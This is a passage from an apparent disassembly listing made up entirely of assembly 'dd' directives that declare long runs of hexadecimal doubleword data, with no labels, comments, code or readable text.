		dd 0C24202D5h, 625C5410h, 9E13845Eh, 94B95CD4h,	9644B4D2h
		dd 2DCC9858h, 85A81041h, 39900053h, 9B4802DAh, 12884FFEh
		dd 5CD213B0h, 0FB984B23h, 2E0B8DAh, 43EC1C04h, 20BBC75Fh
		dd 5178564Ch, 2F6C2E00h, 0A0260C2Dh, 67C40084h,	0EC4D03F4h
		dd 831EFF7Eh, 3FD5A296h, 0BCDA0834h, 9FC80233h,	0EC8172F4h
		dd 2F586B10h, 0C12C8001h, 0B00056BEh, 721C3C9Fh, 5988310h
		dd 20B7C420h, 980BFCAEh, 2E5FC0BCh, 97D12B60h, 802B91D4h
		dd 63133D81h, 0E32E04FEh, 884E72CDh, 0B939DB88h, 0C474001Ch
		dd 81D27E7Ch, 28765C73h, 60D15E05h, 0F230B26Bh,	7DE2302Fh
		dd 0B6039500h, 4CBAAED3h, 0B0C9230h, 90D2450Bh,	0D84008E2h
		dd 7821577Ah, 1859D904h, 0ACA23C24h, 1737B400h,	40DAA444h
		dd 9D501948h, 4F2759D0h, 33CCBCC8h, 0B7671E00h,	0C953277Ah
		dd 1C4EEED0h, 809747EAh, 986AF0BFh, 795D0B13h, 0D5B8ACh
		dd 55AA94D6h, 0B39FE06Fh, 591B2300h, 0A6E56299h, 1897583Ch
		dd 99755086h, 4843795h,	0DB9ACE45h, 6B5E113Ch, 193C8202h
		dd 0EA02FDFAh, 8AD4DCF0h, 260C1150h, 16CB0017h,	2589E379h
		dd 4D65F903h, 3E64F399h, 91103618h, 0D7D40E34h,	0E966177h
		dd 1CE05FF6h, 51DA00F4h, 0CE5E874Fh, 0A8447195h, 0DCE3070Ah
		dd 1041D731h, 72CE5904h, 2C3A14F8h, 3C40611Bh, 9170A0CDh
		dd 0D0430CB0h, 2608B89Dh, 0C55721C0h, 76072CA0h, 0A1510090h
		dd 0C0CE58F7h, 0E00315ACh, 41E2DB2Ah, 0B0A00A19h, 3C4CF78Fh
		dd 606675F4h, 763F1161h, 0D603CEDBh, 0DEF838A0h, 53083090h
		dd 0DB7E2521h, 6076CA39h, 0FF6B5F10h, 12B10037h, 0DEFEC3A4h
		dd 0E530FD10h, 0A9D521CEh, 94525007h, 3EB00194h, 8EBA469Dh
		dd 53FED4C3h, 5EF8D803h, 0CD21161h, 0E11B7DB8h,	85011071h
		dd 4B14C66Ah, 0AECCD860h, 1AE9039Dh, 0F8770F7Ah, 5F5C2900h
		dd 0FC60F05Bh, 29730175h, 0E2FD5984h, 4B89807Fh, 7860AC63h
		dd 0D9101D38h, 0F3F100A3h, 0D8C620F0h, 793C9B1Eh, 0B41BB84Ah
		dd 0A81BF41Dh, 97728008h, 795D1B17h, 55A0300Ch,	0D80068D3h
		dd 0F8D7533Fh, 98D2D9h,	42CCF434h, 5B2CF2F1h, 2278B21Bh
		dd 435FF011h, 2C7717Fh,	184B5CF8h, 0B0836176h, 62B00D10h
		dd 120E08CBh, 6030F414h, 176D23F5h, 9A791FFFh, 0F82A2Ch
		dd 3137874Eh, 0EF4A0B55h, 0E8F552h, 3B52C374h, 5B0E6Bh
		dd 8AFF44DEh, 0AD42369Dh, 0CB2DA8A9h, 0E6794900h, 4FA524F7h
		dd 0AD030196h, 624E47E1h, 8EBACD9Ch, 90C87630h,	0FFBDE700h
		dd 1967DCCDh, 3D9AAE00h, 767C8954h, 0DE920073h,	0C72E79ABh
		dd 0DF0046BFh, 0FB6CEB27h, 527F0F89h, 4E18D458h, 0A2CA811Ah
		dd 3D1FDE00h, 0FB17021h, 29636178h, 71EA5505h, 6DEFD089h
		dd 5A0C210Bh, 0E1A20094h, 2541493h, 0CEDCCAFAh,	80A1FCF5h
		dd 0FCDAA739h, 311316EBh, 0E11E71B5h, 861E4E00h, 205229Dh
		dd 0E09B92A7h, 10411D2Ch, 2C0015BAh, 0F533B121h, 8051DDDFh
		dd 0ABE64323h, 240395E4h, 0AFA571C8h, 4D74F8BCh, 8FC1F173h
		dd 722D1E20h, 0EFD8A081h, 8297002Fh, 3D4588AAh,	8E00A752h
		dd 1C68A14Eh, 73571D9h,	0A8B69F07h, 0D1A6C0EEh,	1700B1D0h
		dd 0A9B5A7DCh, 0C6ADA127h, 29780620h, 72703F00h, 0B5B0CDE7h
		dd 0A036005Ah, 59EF9EF4h, 8820EA1Dh, 0D32D264Dh, 0A66E0333h
		dd 49089D30h, 3C811CA1h, 0EF74AF0Dh, 0E913DC18h, 7700C575h
		dd 33A9DF5Dh, 37434E8h,	10921F68h, 0CDF86ADCh, 0AF7324BDh
		dd 7B99E400h, 0B1623402h, 0EA282FC6h, 8A1ECB00h, 3D010D21h
		dd 0C56D8873h, 0D0EF4037h, 6175236h, 0C75EA4Ah,	0AC60D1A1h
		dd 18B4E470h, 0FAB800E9h, 902B97BFh, 34000A99h,	360F4A66h
		dd 3273B341h, 0C339A92Eh, 5134B380h, 0F106FADFh, 991DA6ADh
		dd 119403E9h, 7C0C2493h, 0A0383100h, 16ECFAFDh,	0C9E500D0h
		dd 0A6619247h, 0AC002C51h, 0E185376Ch, 0C3A70F3Fh, 74B2C150h
		dd 94F8CFFBh, 96000C33h, 431EEE8Ah, 71D9DE10h, 0FC407BFh
		dd 0B43E4Bh, 0C1D8EA11h, 0EE00C571h, 285EB1A1h,	0FA5C739Dh
		dd 0E2E35C99h, 0A8F0E407h, 684F7F29h, 0B0640356h, 18C6E523h
		dd 859DA338h, 5F5BA991h, 0B0D5206Ch, 2440C1D1h,	0D09FDFBEh
		dd 0AC009E7Eh, 17D29CE4h, 3EECDB60h, 8E0727A3h,	7096B852h
		dd 2BA5D65Ah, 90ADAA04h, 84399FDEh, 5693B481h, 24941410h
		dd 0B75DE907h, 8980DFECh, 646D556Eh, 1000AF7Fh,	2197DD20h
		dd 5B2DA0Eh, 0AD60CFA0h, 83458ACh, 80A0E05Fh, 1AE7C3C9h
		dd 0B9F8A0D0h, 0C2B78000h, 650D669Fh, 0C8DA0017h, 0A9D97BB6h
		dd 0A7079C26h, 0BE9E1B52h, 982504E0h, 78DF00C5h, 54CDC8B0h
		dd 1D0BEBFEh, 8086A7B8h, 3024BE76h, 8C29C823h, 2BEE7242h
		dd 6D296A0Ch, 4291FE20h, 0EA447CA0h, 48E244AEh,	0B4511C64h
		dd 11ED1A21h, 4B13E3CAh, 0C84229DEh, 21DEB311h,	1BF20896h
		dd 3500DC91h, 4CAD8647h, 0D70573EFh, 63CE5ABEh,	967E5B81h
		dd 0B1B7FCh, 2FF14A87h,	8D32093Fh, 0A8BB2E00h, 92D4DC5Ch
		dd 3E70E9h, 7E552A67h, 0F951442Ch, 52BAC807h, 0D05060BEh
		dd 2D2218h, 1E3F09AAh, 3203403Eh, 0BA048300h, 2CCB959Dh
		dd 93870201h, 43020961h, 0C28CEEC0h, 483BFC05h,	0BF00CB29h
		dd 47A1450Eh, 33BB0281h, 0B2BC5CB3h, 2A913FE0h,	20440200h
		dd 9F55630Eh, 48A600D6h, 3ED1F6E3h, 0D33F1E6Ch,	0E2432E38h
		dd 0D05E4200h, 0F1E6DFh, 0DBCE9139h, 0B53E485Fh, 98CDD800h
		dd 1121052Bh, 0C3D90062h, 7F7A9996h, 3E03BA36h,	0C242A1EAh
		dd 5728F09Ch, 21FE615h,	7EAC48B7h, 7E6021C4h, 0D8FB5241h
		dd 0E000322h, 9C67E704h
		dd 0EB49FAh, 0BACB5A1Bh, 923201A5h, 0C3BB9000h,	0ED5DBE9Fh
		dd 2C7758E9h, 0CE2F6C00h, 0F106E0A4h, 9B321600h, 0DB1D8AEAh
		dd 16657BD0h, 1E935F3h,	0D750D406h, 6D09FC1Fh, 54010DEEh
		dd 0B15BBBB6h, 5030BE67h, 7087007Dh, 7434AFEh, 0E7006930h
		dd 9DE480F3h, 0FC60673Ah, 7F97186h, 375E4381h, 0B0C2972Dh
		dd 0C7680B88h, 59A73000h, 31208589h, 18E7FE06h,	10512FD3h
		dd 21084AC9h, 952CD96h,	4300429Ah, 0B09A465h, 0F95FAD07h
		dd 35C1B48Fh, 2FE48267h, 0D19F1E66h, 0F5924290h, 8484C4A5h
		dd 0E4EA0040h, 8ED3E0h,	41FC253Ch, 8BC2C79Ch, 0CC2B100Eh
		dd 920A40E2h, 5EDC11h, 0A58D30BCh, 0DBB64533h, 282E93FCh
		dd 8A0076FFh, 40FBE4F5h, 73790037h, 5A0FAEEEh, 62007A28h
		dd 359CE72Dh, 1CC08C7h,	0E08B892Bh, 20DD98BFh, 41075E9Bh
		dd 452C3880h, 7A08B5F0h, 0B3740758h, 10064056h,	5A078AEBh
		dd 0B0B7F900h, 711DB486h, 92FF00D3h, 0D8CD7BFBh, 0C160FEB8h
		dd 0AD8F89F8h, 335E3971h, 2FDDF080h, 6EE9AA62h,	0D0ED4707h
		dd 0A17502Ah, 1BBCE1E0h, 0F77733Bh, 0F7BF8E04h,	303680C0h
		dd 0EE142E3Ah, 24F0CB48h, 0A20080DCh, 95BC0774h, 0B2A50786h
		dd 9015BE1Bh, 0B9BF4FAFh, 0C952DF01h, 40115497h, 7C433D70h
		dd 0FCCD00B0h, 28A7919Ah, 98B0820Dh, 0E8460424h, 9D569000h
		dd 0FC755BEh, 0AB41F237h, 129584C0h, 0CDFC1A10h, 0A692203h
		dd 0AF714651h, 40EC1C02h, 143C2h, 2F1A3BBBh, 0B959B87Dh
		dd 85075100h, 32BC8928h, 0C84A00A6h, 0C4E11F2h,	0B2001F7Dh
		dd 4569A168h, 0E6F8281Bh, 26BB03FFh, 0BF4AD5F6h, 6C8ADFF0h
		dd 5AA62C01h, 312D3280h, 82C48CF9h, 96640F99h, 0C009B1FAh
		dd 0AAA62801h, 0F4E3D693h, 19E826F0h, 0C4A02A71h, 0DAA212A3h
		dd 0F3EB7640h, 0B3182861h, 3EDCC786h, 98110075h, 88E09597h
		dd 82003339h, 8038ED06h, 16CBA1h, 18FCBBB2h, 53D24D24h
		dd 601C44E0h, 87B9CF28h, 99045C84h, 3BCE4EC0h, 83590FECh
		dd 0A202438h, 1C2AF018h, 0A7B67200h, 7FCED499h,	76F600BCh
		dd 6707DF0Eh, 8200C913h, 0F7EE4AE2h, 1D4FEB9h, 124C79ADh
		dd 21640D71h, 68E8803Bh, 0B168AF4h, 0CFC3078Eh,	6F93A3B6h
		dd 5B1E9A1h, 0D5C1DCD4h, 0DF00F27Fh, 1513322Bh,	7DA3425Fh
		dd 6C8600C2h, 783116F3h, 0CF031703h, 8F22498Ch,	873DE806h
		dd 7C59006Eh, 57CE5C09h, 0AA3AA5C0h, 80B6B827h,	0ABE47B68h
		dd 2E831D4Eh, 1A524BDh,	94180D86h, 70D8D7D6h, 0A726B3FFh
		dd 3F50745Bh, 399A09BAh, 4CA05669h, 85CDCBD5h, 0D0FCDB01h
		dd 0FF1AA197h, 9E580EEh, 737F0E9h, 0A4FB2E39h, 0D0E6724Bh
		dd 29679060h, 0DCEEBC00h, 0FA04DA94h, 0AEDF0037h, 0B377BE89h
		dd 381D2F76h, 414B704Ah, 9D540032h, 4ED31Bh, 0FE862D4h
		dd 0BA0B5D94h, 16FC0618h, 13A7C84h, 73957836h, 0DCDDE2E9h
		dd 0D90057B2h, 6F9F5988h, 777FB30h, 390D8797h, 5313E071h
		dd 0C101B4F2h, 3031CFFEh, 3880CB22h, 46FB61A0h,	900342CCh
		dd 8CED51C6h, 0DB5AF039h, 3CD0EF63h, 3F70335h, 9F74AC0Fh
		dd 0F440C5C2h, 0E21F1CD0h, 10806876h, 0A779BAE0h, 19D307CFh
		dd 0C063B3DBh, 953EE24Eh, 2D0078F4h, 5D6BE104h,	1C37674h
		dd 0B3CDB18Bh, 0D8162124h, 3F40E08Ah, 0B91A2C5Ch, 46AB40DCh
		dd 0BF0A5F8Fh, 81BA9EB1h, 0D1910Bh, 0AB868A08h,	24714Fh
		dd 0E307CA9Ch, 96BF173Fh, 0E71C3075h, 1D815BD8h, 50A9E203h
		dd 7200FC62h, 0FEEC9B9Ch, 101E68Ch, 4C90D9A1h, 11E4855Dh
		dd 0A33E0C3Fh, 41C9F1B8h, 0E063Ah, 0BF7ABDBBh, 732E7B7h
		dd 0E072D85Fh, 783CA1A1h, 6BD83580h, 5AC2A0h, 0F42D1092h
		dd 7FFD26Ch, 82F79400h,	84DCBC6Dh, 0CAE600A2h, 5ADFBBEAh
		dd 48E40670h, 0CC6F0400h, 0BF16336Bh, 855F12C5h, 0B4AC0EC6h
		dd 63B2DF40h, 1800843Ah, 0EDC987D1h, 0A09298C0h, 0A2F48Fh
		dd 0AEFC6DEh, 0E06757D9h, 77662900h, 9FF97410h,	0B0CD48C5h
		dd 99FB726h, 0AC0047EDh, 0F181A9B2h, 0D872B803h, 0E0B3C2FFh
		dd 1D5E3887h, 8021ED62h, 9971856Ch, 0ACB0A8C9h,	5BBE4400h
		dd 3B35D10Dh, 0F2050013h, 770FB76Eh, 5C724333h,	783AB500h
		dd 0B97B91E9h, 7E7E0ADh, 729D8B76h, 0C01C857Fh,	12EB2F26h
		dd 0E10B85Ch, 601D4644h, 95B3A038h, 76F20091h, 0A434019h
		dd 92003DEBh, 5A3EF7E5h, 15D1D11h, 2D5EF62Bh, 0C8ABE7FBh
		dd 40001F4Ah, 3B28EEB2h, 495B5Ch, 0A0D882EAh, 358B8ADAh
		dd 0BCFB4Dh, 4DAA2FC0h,	0D602DDh, 656F0E2Eh, 2B8A327Fh
		dd 7C1C912Ch, 0F817201h, 0F0C78724h, 0E6DFA6A9h, 7EDC120Dh
		dd 79C80074h, 2581B035h, 19D26D00h, 89662348h, 0F2551F75h
		dd 45030078h, 0C11CB0C5h, 9DEBC00h, 0E66AEC21h,	1E74F3h
		dd 38E8324h, 0EC15C41h,	0EB9AB900h, 9F26267h, 0F3151D66h
		dd 9B5181DEh, 0FA7B7E42h, 1F6FB160h, 0EA961402h, 40C13943h
		dd 0EB3A814h, 4E4B56CBh, 63F50E00h, 0E400F1D2h,	1245EEB4h
		dd 113FE54h, 0ED1E03B1h, 2B554873h, 5B5B0h, 0F9ABC980h
		dd 49C572D7h, 48D7E29Fh, 39B5C6C0h, 0EC80A1FDh,	65706BA8h
		dd 0AC095F9Eh, 80AFF1D6h, 0B70964A5h, 486C2E22h, 9ECD0094h
		dd 0F6C4CC1Bh, 6936CA00h, 9F80095Dh, 0AC0C0992h, 5200D15Fh
		dd 0FCA5A282h, 2A540118h, 1C90D310h, 805B041Ch,	0A57DBDF2h
		dd 8E2468E8h, 0BC00D114h, 0D1DB7F86h, 2E1DF619h, 4E06F46h
		dd 3C75D5Fh, 80B1377Ah,	0BF2FA4h, 0C2211E8Dh, 0BB11CA2Dh
		dd 93096100h, 0B1F995AEh, 8A1F05F2h, 80368937h,	5BC0F7AAh
		dd 9A4727h, 0EC73A7ACh,	0BBE1487Bh, 9588127Ah, 4C108060h
		dd 69017D0Bh, 72261B12h, 32205330h, 83D1A06Bh, 34545C05h
		dd 0BC632E00h, 1EACF982h, 5A4C4D00h, 317950C7h,	2CB011h
		dd 0D3214247h, 0C6A89899h, 0D416D200h, 8953F222h, 0B849C043h
		dd 7902A9F6h, 0FAC52E06h, 0F6189772h, 8B07059Dh, 0C0F3F73Bh
		dd 0BDAA4972h, 73CE9506h, 17984497h, 3D2733h, 6FF6BABFh
		dd 35007DB8h, 0DA343699h, 71B44A7Ch, 17493951h,	94A728h
		dd 0D9FE14D5h, 0CAB0295Bh, 4E00CDEEh, 0AB4DC134h, 61E8C3h
		dd 0F4277B2Ch, 43BFEBD1h, 6E88035Ch, 41548728h,	2C00534Eh
		dd 508F878Ch, 0AF140E0Ah, 708F0E88h, 0FA565961h, 30D8808Dh
		dd 63833591h, 0D39301C5h, 0D7C3927Fh, 0CCB4C44Fh, 8530743Fh
		dd 0CA849C8Dh, 0D318D000h, 0B0EE49h, 0C3F80577h, 1A06326Eh
		dd 0CB232800h, 0FD95C7ABh, 0DD9027h, 694C5713h,	0F8BC84C2h
		dd 0D5308800h, 496C3A15h, 42B90B4Eh, 48010898h,	60015244h
		dd 0C0008373h, 9E85FB3Ah, 201D19h, 0D38C4DF0h, 2128F95Ch
		dd 31E4590Ah, 0B828B416h, 8473E300h, 3B3F43DDh,	1E1A041Bh
		dd 0C02D67F2h, 7A19B40h, 20487100h, 0F54AAEA0h,	20CF5C77h
		dd 89099400h, 25D601C8h, 0B46A9902h, 608267F6h,	15F73Eh
		dd 142D6147h, 190507E0h, 0FA919004h, 38A0533Bh,	2D09072Ch
		dd 0C0E3C8AFh, 0B0EA3AB4h, 0A2F15600h, 636AF513h, 892B00C7h
		dd 0DD0A59D8h, 340C4A7Eh, 18C474D6h, 3A140228h,	0B85291FCh
		dd 9CCE5040h, 0C3E0DF18h, 0D75A20h, 610AF1C0h, 6EE8713Fh
		dd 8E949E3Fh, 20A9E516h, 0D0A7C19Fh, 1BD700C4h,	0DFF56A3Bh
		dd 100A421h, 0DC8DE169h, 0CA1D63h, 312CB135h, 1C66EAA0h
		dd 8E620800h, 3F2B718Ch, 0EF450538h, 80CC031Bh,	0E660D75Ah
		dd 8C39A000h, 0FB7A2781h
		dd 0A840034h, 1922A99Fh, 0CC9CEE9Dh, 788E0038h,	6399122Fh
		dd 0BEDD281Ah, 880C2C90h, 95A180A0h, 0AE3C9DB0h, 705025Ch
		dd 9FB7EB1Ch, 0D881B630h, 2E513C12h, 7FC0C607h,	311AB0AFh
		dd 72006778h, 0E8D5A43Dh, 988A90D4h, 0D80A0094h, 0F1A6A869h
		dd 4A5C4D44h, 0F3DFCh, 9C59FB52h, 0F737533Ch, 503082Ch
		dd 68DA8CB3h, 80A22038h, 463AF9FFh, 61946Ah, 624E92E3h
		dd 8126E9B2h, 0F0EE3912h, 64903480h, 0A81E380Fh, 5C82D680h
		dd 938588BCh, 9B5FB205h, 0D88090C4h, 3F729151h,	6E8F87F6h
		dd 1D03D812h, 4DF8B792h, 0DF90F48Bh, 19B69700h,	7E287939h
		dd 9D550011h, 332B86A6h, 64036B5Ch, 2566487Dh, 366DC05Bh
		dd 0EAAB006Ch, 37C2BFA0h, 1D001612h, 0B2708322h, 9DDB6Fh
		dd 90C5A113h, 0C2672774h, 3D4809E6h, 63620034h,	0D14E59D7h
		dd 742400D3h, 8538431h,	1600CB48h, 0A033F952h, 0F7234B8h
		dd 69583AC6h, 0D6EA180h, 0C1673BAh, 7C40B567h, 0C2717064h
		dd 0DDC90098h, 96E575A8h, 29006F7Ah, 0B7CFC165h, 199033h
		dd 26677D80h, 0B6B8D137h, 2008679h, 5AAF704Bh, 0FA443BD5h
		dd 808DFCFCh, 73003042h, 0CF884F87h, 80F3E8h, 6FBFC7Ch
		dd 9C10978Ah, 0BCDE4600h, 0A75F17F5h, 0CECB00DAh, 9FB98CF6h
		dd 1002394h, 0A6DD9189h, 3187E1Fh, 8E1C7334h, 0F6E05590h
		dd 89003BD2h, 0CBFE1A23h, 3E58C61Bh, 5E01C9A5h,	0CE8264CCh
		dd 2754F459h, 7861A41Dh, 1FF59840h, 0F4C2B9h, 912D02C3h
		dd 651562ACh, 3E45F800h, 0B467FCB3h, 182985Dh, 13F5E22Ch
		dd 7146E0AEh, 912AFC05h, 0B8E59E30h, 0AA5C98h, 3D99547Ah
		dd 0AE23073Ah, 5830A001h, 0C64197A1h, 9AAC60h, 36351051h
		dd 0C0A34C14h, 0DEF8F300h, 0C159C9Dh, 45FC0029h, 0C9D228C1h
		dd 72D2F5Dh, 0A7500219h, 0DDC460BFh, 0EEA0336h,	569437EEh
		dd 8C011680h, 0AAAE5400h, 5BE15193h, 0BE5A000Fh, 959C4B0Bh
		dd 34756AFCh, 0C007C90h, 0A6B1E593h, 59524Ch, 0DC699624h
		dd 0BF6CD10Bh, 0B4B73Ah, 419C7A6Ah, 0C14BEEh, 0A536BFAh
		dd 0F3A59A2Bh, 8C4A5B00h, 7BA3F4A4h, 36230049h,	227BD0Fh
		dd 700B280h, 432B55AAh,	3EC78EC4h, 8B00D093h, 565D2E1Dh
		dd 9F007BB2h, 5F0A10F8h, 189E3Dh, 4B488443h, 5C3B230Fh
		dd 12081F07h, 9D40213Eh, 1FA21BA1h, 0C18729C6h,	7774D4FDh
		dd 10FAD833h, 5EF44900h, 0B0357E7Fh, 0EB0400ECh, 6F11C1F3h
		dd 7C05FC24h, 0E57DF9Bh, 0E45670D0h, 31FA00DCh,	80390640h
		dd 550EA5F9h, 0CFD1935Ah, 67009CF4h, 788A7FB0h,	0DD1800A8h
		dd 6B8BE315h, 0DF01BA0Fh, 0C3AAA580h, 0CB60FBCBh, 1150FDEh
		dd 0ADE91228h, 3E7350A2h, 5BAB1F40h, 54DBFE04h,	0D9C20D52h
		dd 9064C32Bh, 201F667h,	88FECFB3h, 9EC07CD8h, 50B8EA5Dh
		dd 875BAC09h, 30F081A9h, 0ADC8A7E3h, 0FDB50003h, 3E2EA609h
		dd 0E72E515Bh, 0B4000C5Dh, 266DA2BAh, 42340038h, 5CAFC992h
		dd 0CF131651h, 0FC054B40h, 8D80FFBCh, 219A354h,	56D903EDh
		dd 3FE09C52h, 8D00C5A0h, 737EF625h, 7AD51DC8h, 220D0049h
		dd 0A197554Ah, 0BF1728ACh, 6907626Ah, 60A18667h, 8EDCE923h
		dd 9E771292h, 0B13A05B9h, 80FBC479h, 0AB417134h, 125BBE30h
		dd 0C049D6FFh, 16A68F50h, 1A2AD415h, 6900B8A8h,	0B82B2A02h
		dd 0B805C2BAh, 7FFB00B2h, 0F07CB1CAh, 0D403CF48h, 833DE644h
		dd 0BE6009C4h, 8863DE4Ch, 639236C8h, 0B2356B1Dh, 0A3375601h
		dd 10408641h, 0C0C0AB3Ch, 9A1B4239h, 33744522h,	685B260Fh
		dd 0FB4480BCh, 30D499h,	86BFC78Ah, 0E8200428h, 0C4DB901Fh
		dd 2A6060B0h, 4069C313h, 12D0CBF8h, 6D01BF03h, 1BE7B1F2h
		dd 6C20BA23h, 3FB60102h, 0E89EBE81h, 0BBA1F4D3h, 16A633Fh
		dd 8841C48Ah, 0DCD06FEAh, 0A1C360D0h, 49B8873Eh, 620720EEh
		dd 0C08FAAABh, 0EF7A0EC0h, 3E0E67Bh, 1DE45804h,	0C480BDB8h
		dd 64004EDCh, 0A1292DFFh, 381740A9h, 0A7808CBBh, 0B9B20E59h
		dd 0B871751Eh, 1F9D6F13h, 0AB9E3000h, 397797Ah,	5576A180h
		dd 0C4A01EB1h, 7200D878h, 0D31A823Ah, 0F9652Eh,	0CC4FB3C5h
		dd 4192E107h, 1E531800h, 807576E7h, 0F49024h, 1357B9ABh
		dd 154AC32Fh, 0E6C9B70Eh, 8131C0B8h, 1C235483h,	804FC687h
		dd 0F88E3313h, 0A5073A8Ah, 73028C76h, 0B96C9D90h, 59AF003Ch
		dd 0C448DC70h, 7501CFA9h, 84A797ABh, 0EC549FC9h, 7BA043Ah
		dd 70DD4238h, 0CED7C2D1h, 0C126199Fh, 35DFD43Bh, 0AB7260DEh
		dd 1300A87Ch, 116C8F4Dh, 3F6ACEh, 1926414Bh, 3982C598h
		dd 18580F00h, 0AA36DAB8h, 0B6B40081h, 963457C2h, 0AB3017F7h
		dd 0DC0179C5h, 0A7B402C1h, 52EAB847h, 0A506A9E0h, 9EA1BC67h
		dd 0E90B6AB3h, 2D304D1Ch, 0AEE10709h, 6145B9C1h, 0C4C5943Ah
		dd 9626399Bh, 763E2C48h, 18C0E677h, 8B4ECCDh, 10AC6766h
		dd 0E2EFE33Fh, 9A7B2806h, 0E2689E5Bh, 6B671F20h, 36E0011Bh
		dd 42699DB2h, 42F53488h, 0BB0800C1h, 267FF28h, 0A3AD3F31h
		dd 0CFFCD08Eh, 0CDC02C00h, 55F5C186h, 98208822h, 49C40090h
		dd 0BB50BE5Eh, 0A00895Dh, 64421C35h, 60333AF6h,	201E786Ah
		dd 8560E346h, 21C24182h, 4F310C66h, 1F689C02h, 49DF6500h
		dd 0D019860h, 0D884A3BBh, 50A14245h, 52D2B4CEh,	53A0F8BCh
		dd 2F00515Eh, 0DA486583h, 0F8593A24h, 1E2EF852h, 0FD18F7h
		dd 71C71BF2h, 5A0E83DAh, 607DBE72h, 3D212E4Fh, 12260068h
		dd 0C02A5D62h, 0BE0C5264h, 69BBDF35h, 6D94A17Fh, 0E63FAE8h
		dd 640A3CC3h, 7921A68Ch, 4FEE000h, 3E08F923h, 0CD3D3301h
		dd 46D07BD0h, 201D2FAh,	3912FC98h, 0E040BA4Ah, 48210B29h
		dd 3D063060h, 18B98A09h, 0CB48C40Fh, 0ECED053Eh, 0FA9F8400h
		dd 706D5674h, 5AF1011h,	4F3400CCh, 0D0B52091h, 44AA5C38h
		dd 9EC2B900h, 3D0F275Ah, 1EFD8718h, 0A70BF20h, 0AE6F0EA7h
		dd 6EA27320h, 29BE5430h, 8184DE7Ch, 370EFED7h, 88A318D2h
		dd 0FE00D37Ch, 19A8F93Eh, 70299483h, 67371D12h,	1468B0EDh
		dd 1702415Dh, 0E0BC6120h, 1724C497h, 896024h, 0C3EA48B0h
		dd 8CC7847h, 10221D5h, 52B98968h, 0F7A4BBE3h, 808E193Fh
		dd 33CDAC49h, 2CC71A7Eh, 40E4A669h, 21FB6D5Fh, 98734501h
		dd 9A034CCAh, 102C68D1h, 0FD148500h, 67CF013Dh,	33ACD200h
		dd 4677CB63h, 66D05CDh,	0E67942h, 91169C4h, 0D4A0BD8Eh
		dd 0EF0F895Ch, 8556A65Fh, 24C047C8h, 6343E22h, 0B19A3707h
		dd 9E0738E4h, 0B2D03140h, 903CBA22h, 181159A8h,	11ABDFB3h
		dd 1B7FC345h, 36A34300h, 0AE3DA003h, 4ECE85Bh, 0C3472F5Fh
		dd 7610D89Ch, 8D94C007h, 0B08A293Bh, 8C31900h, 2C180Dh
		dd 8ACE2AEFh, 68D4AE1Fh, 63CA3D00h, 0CD623E7Eh,	0ACBC7B5Eh
		dd 89641FC0h, 8868D12Ah, 6C0683CCh, 13A09589h, 477AB04Fh
		dd 45EDCB02h, 0AFBAA6B8h, 5782E0B8h, 9B31C4Bh, 2FCF461h
		dd 0A9DA1480h, 3D281733h, 290184D4h, 95C745Fh, 4004585Bh
		dd 18FE3A0h, 0C72B19D4h, 6801E46Ah, 6B4522FBh, 7E886918h
		dd 51FD0013h, 0E6AAE5ADh, 0E49060F0h, 9DB3C40Ah, 8F82C497h
		dd 6ADD9A45h, 0BD808430h, 41D448D0h, 0A8FBE8C4h, 26424488h
		dd 9466A9h, 41687E3Ah, 0D7509B39h, 0FF0AEDBCh, 0DCBDD0AEh
		dd 465CA09h, 6460663Ch,	45231EFBh, 274114Bh, 24FD0F82h
		dd 7ACB8002h, 590141CBh, 3E003819h, 4B66E4A5h, 9D480A39h
		dd 0F66A0438h, 0E8908150h
		dd 0E2497Eh, 7B4218F4h,	977AF111h, 70FE4C92h, 0DE00118h
		dd 99A3378h, 1FA9FE34h,	0D656EC82h, 9F0044D8h, 628029DEh
		dd 0E23344Bh, 22843FBAh, 421E28Ch, 837238h, 0E3B70A8Ah
		dd 18668E61h, 0E9B1ACC7h, 8400FAA0h, 40A4EF9Dh,	6FEAF1h
		dd 7F41E685h, 0CA83B71Bh, 0CA809F48h, 465E9419h, 8D5D0072h
		dd 0D07EDB3Dh, 5180233h, 43A44239h, 818ED081h, 0CE906092h
		dd 35951207h, 386A414Fh, 6A806811h, 3B4528FBh, 8067448Ch
		dd 0B7FD1500h, 417E059Ch, 8024F5A5h, 213600E5h,	1A48EAF3h
		dd 0CC05E8BDh, 9B624118h, 0B9DCBC04h, 0F9B0E490h, 982506A6h
		dd 21FAE947h, 6D986A61h, 844EB4F7h, 0A0C573C8h,	0D4B54F83h
		dd 46F96082h, 6E7D08h, 605BA43Dh, 4624A254h, 3ACEC40Bh
		dd 140CA01Bh, 334D56Ch,	0B308CD4h, 27C1E52Eh, 0CB587046h
		dd 20CADDA1h, 0C9C3AA02h, 15BC3D8Eh, 84C5A4A1h,	46B8E300h
		dd 8F72C7Ah, 69B3CB0Ch,	0B1559099h, 18A27918h, 3CA12E6h
		dd 9A2422A1h, 91027066h, 8F9FB712h, 0E408651Ah,	9BD66074h
		dd 0AE106B0h, 79A8DE3Bh, 3D610600h, 4744B16Ah, 7A8A01B4h
		dd 0D907F59Fh, 0E450F4C8h, 8F1BD6FAh, 0C071C649h, 9992E99Ah
		dd 0F6A90A1Ch, 0A361FE4h, 58C8C35Dh, 0C49C3A17h, 54D7C8B0h
		dd 0EC5D5ADDh, 95370984h, 349FC3Dh, 575F5CD2h, 6EB75880h
		dd 0CADCB814h, 3F34C7ACh, 38682469h, 0B8027C8Dh, 0FEDC3071h
		dd 0DA371111h, 7D82AB88h, 9198FED4h, 0E186CA8h,	44DCFD05h
		dd 948B9A5Bh, 0FD598C00h, 0FB9358FAh, 601F7000h, 1DB935BDh
		dd 0E9D0601Eh, 0A796F0EFh, 78B5094h, 808488B8h,	80604D3Fh
		dd 0EBC6082h, 8140B198h, 3E288966h, 402B1878h, 4E00049Eh
		dd 0D948D089h, 98A23Ah,	0F1EF1E82h, 0ED4E067h, 10CB6404h
		dd 84D0BC76h, 3F134FF9h, 0D806C9Ch, 0BD917701h,	0E006F1Dh
		dd 0C8336472h, 57F7AFh,	62DF0C3Ch, 1F0F29D6h, 713BCCA0h
		dd 3FB02B0Eh, 185A8621h, 12151ACCh, 0A06160ADh,	84118D9h
		dd 403E2B89h, 540D2C4h,	0B468969h, 41190701h, 0C59840CFh
		dd 0CEA2C463h, 74B5330h, 57E1FA3Bh, 0E1FCC7EBh,	40C26338h
		dd 200A30B8h, 414B6B1Fh, 2B589D94h, 6701B80Fh, 703E3589h
		dd 21C0D118h, 0CA894F07h, 0DC431C7Dh, 0C7FC017h, 0BEB54245h
